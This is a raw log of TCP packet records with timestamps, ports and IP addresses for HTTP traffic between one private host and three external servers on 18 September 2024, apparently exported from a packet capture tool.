Sep 18, 2024 14:30:08.420716047 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.420753956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421000004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421019077 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421031952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421044111 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421050072 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421051025 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421060085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421066046 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421080112 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421083927 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421092033 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421106100 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421113014 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421119928 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421124935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421133995 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421138048 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421149969 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421161890 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421163082 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421175003 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421188116 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421188116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421200991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421210051 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421212912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421224117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421232939 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421248913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421252966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421276093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421286106 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421298981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421299934 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421315908 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421320915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421334028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421335936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421348095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421360016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421364069 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421374083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421382904 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421387911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421401978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421412945 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421415091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421431065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421442032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421442986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421458006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.421463013 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421482086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421509027 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.421708107 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421740055 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.421760082 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421777964 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.421956062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422007084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422019005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422055006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422068119 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422099113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422099113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422099113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422099113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422107935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422127962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422131062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422139883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422152996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422152996 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422167063 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422171116 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422179937 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422184944 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422204018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422230959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422278881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422291994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422303915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422316074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422324896 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422329903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422347069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422374964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422377110 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422389030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422403097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422405005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.422416925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422419071 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.422430992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422440052 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.422450066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.422470093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.422486067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.422914028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422935963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.422967911 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422981024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.422997952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423010111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423022985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423034906 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423044920 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423064947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423073053 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423075914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423088074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423106909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423110008 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423120975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423134089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423132896 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423146009 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423146009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423161030 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423161030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423177004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423188925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423213959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423214912 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423233986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423247099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423259020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423259974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423273087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423285961 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423286915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423300982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423312902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423331976 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423355103 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423727036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423739910 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423752069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423783064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423787117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423794985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423809052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423816919 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423821926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423834085 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423834085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.423860073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423872948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423883915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423887014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.423896074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423908949 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423926115 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423945904 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.423954010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423966885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423979044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423989058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.423994064 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.424000025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.424016953 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.424045086 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.424794912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424813986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424824953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424854994 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.424879074 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.424913883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424926043 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424945116 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424957037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424957037 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.424968958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.424982071 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425009966 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425030947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425044060 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425056934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425081968 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425100088 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425200939 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425213099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425225019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425239086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425251961 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425252914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425263882 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425276041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425276995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425288916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425301075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425304890 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425318956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425318956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425333977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425338030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425348997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425365925 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425381899 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425694942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425709009 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425720930 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425755024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425760984 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425765991 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425772905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425786018 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425797939 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425800085 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425808907 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.425817966 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425837040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425858021 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.425858974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425870895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425884008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425895929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425900936 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425910950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425916910 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425942898 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425951958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425966024 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.425972939 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.425992966 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426019907 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426037073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426049948 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426071882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426081896 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426084042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426098108 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426099062 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426111937 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426115990 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426125050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426132917 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426137924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426156044 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426183939 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426352978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426367044 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426378965 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426398993 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426412106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426423073 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426424980 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426424980 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426436901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426481962 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426481962 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.426769018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426783085 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426795006 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426821947 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426836014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426871061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426883936 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426897049 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426908970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426912069 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426920891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.426928997 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426954031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426958084 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.426965952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426979065 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.426990986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427000999 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427004099 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427016020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427025080 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427033901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427046061 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427053928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427061081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427067995 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427081108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427093029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427105904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427107096 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427110910 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427119970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427131891 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427135944 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427153111 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427154064 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427166939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427170992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427181005 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427196980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427198887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427212954 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427215099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427228928 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427241087 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427243948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427253008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427265882 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427268982 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427277088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427292109 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.427303076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427319050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427319050 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427340031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.427355051 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427360058 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427366972 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427373886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427405119 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427417994 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427436113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427459955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427472115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427473068 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427509069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427509069 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427759886 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427772045 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427783012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427795887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427808046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427817106 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427819967 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427830935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427846909 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427850008 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427858114 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.427861929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.427875996 CEST	80	49704	147.45.44.104	192.168.2.7
